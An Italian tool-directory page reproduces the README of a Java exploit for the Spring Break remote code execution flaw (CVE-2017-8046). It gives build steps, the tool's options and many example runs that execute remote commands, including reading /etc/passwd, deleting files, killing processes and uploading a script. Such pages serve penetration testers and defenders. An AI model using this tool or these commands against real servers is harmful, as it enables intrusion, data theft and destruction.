Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
spring-break_cve-2017-8046 — Questo è un programma Java che sfrutta la vulnerabilità Spring Break (CVE-2017-8046). | Kitploit
Strumenti/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

Questo è un programma Java che sfrutta la vulnerabilità Spring Break (CVE-2017-8046).

Vedi Repository
171115 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

spring-break_cve-2017-8046

Questo è un programma Java che sfrutta la vulnerabilità Spring Break (CVE-2017-8046).

Questo software è scritto per avere il minor numero possibile di dipendenze esterne.

DISCLAIMER

Questo strumento è destinato a ingegneri della sicurezza e specialisti appsec per valutazioni di sicurezza. Si prega di utilizzare questo strumento in modo responsabile. Non mi assumo la responsabilità per l'uso che chiunque fa di questa applicazione. NON sono responsabile per eventuali danni causati o crimini commessi utilizzando questo strumento.

Informazioni sulla vulnerabilità

  • CVE-ID: CVE-2017-8046
  • Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • Descrizione: Richieste PATCH dannose inviate a server spring-data-rest in Pivotal Spring Data REST versioni precedenti a 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versioni precedenti a 2.0.0M4, e Spring Data release train precedenti a Kay-RC3 possono utilizzare dati JSON appositamente creati per eseguire codice Java arbitrario.
  • Link del fornitore: https://pivotal.io/security/cve-2017-8046

Come generare un JAR eseguibile

Ecco alcuni passaggi da seguire per generare un JAR eseguibile, con tutte le dipendenze incluse, che può essere utilizzato per lanciare l'exploit.

con Maven

È possibile eseguire il seguente comando Maven:

root@kitploit:~
mvn clean compile package

con Eclipse

Si possono eseguire i seguenti passaggi:

  1. risolvere tutte le dipendenze/librerie esterne;
  2. fare clic con il tasto destro sul progetto Eclipse e andare su Run As > Run Configurations;
  3. fare clic con il tasto destro su Java Application e poi su New;
  4. scegliere un nome e impostare la classe principale su com.afs.exploit.spring.SpringBreakCve20178046;
  5. fare clic sul pulsante Apply;
  6. chiudere la finestra e tornare alla finestra principale di Eclipse;
  7. fare clic con il tasto destro sul progetto Eclipse e fare clic su Export...;
  8. trovare e scegliere Runnable JAR file (sotto il ramo Java);
  9. nella finestra successiva:
    1. scegliere la corretta Launch configuration creata in precedenza;
    2. scegliere una Export destination;
    3. scegliere l'opzione Extract required libraries into generated JAR;
    4. fare clic sul pulsante Finish.

Aiuto

root@kitploit:~
Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

Esempi

root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

Si prega di notare che la risorsa/URL referenziata deve esistere!

Applicazione vulnerabile

Un'applicazione vulnerabile può essere trovata qui.

Autori

  • Antonio Francesco Sardella - implementazione principale - m3ssap0
  • Yassine Tioual - miglioramento delle intestazioni HTTP - nisay759
  • Robin Wagenaar - per il suggerimento di utilizzare l'operazione di patch 'remove' invece di 'replace' e per la funzionalità di caricamento dei file - RobinWagenaar

Licenza

Questo progetto è concesso in licenza secondo la Apache License Versione 2.0 - vedere il file LICENSE.txt per i dettagli.

Riconoscimenti

  • Man Yue Mo il ricercatore di sicurezza che ha scoperto la vulnerabilità
Scarica lo strumento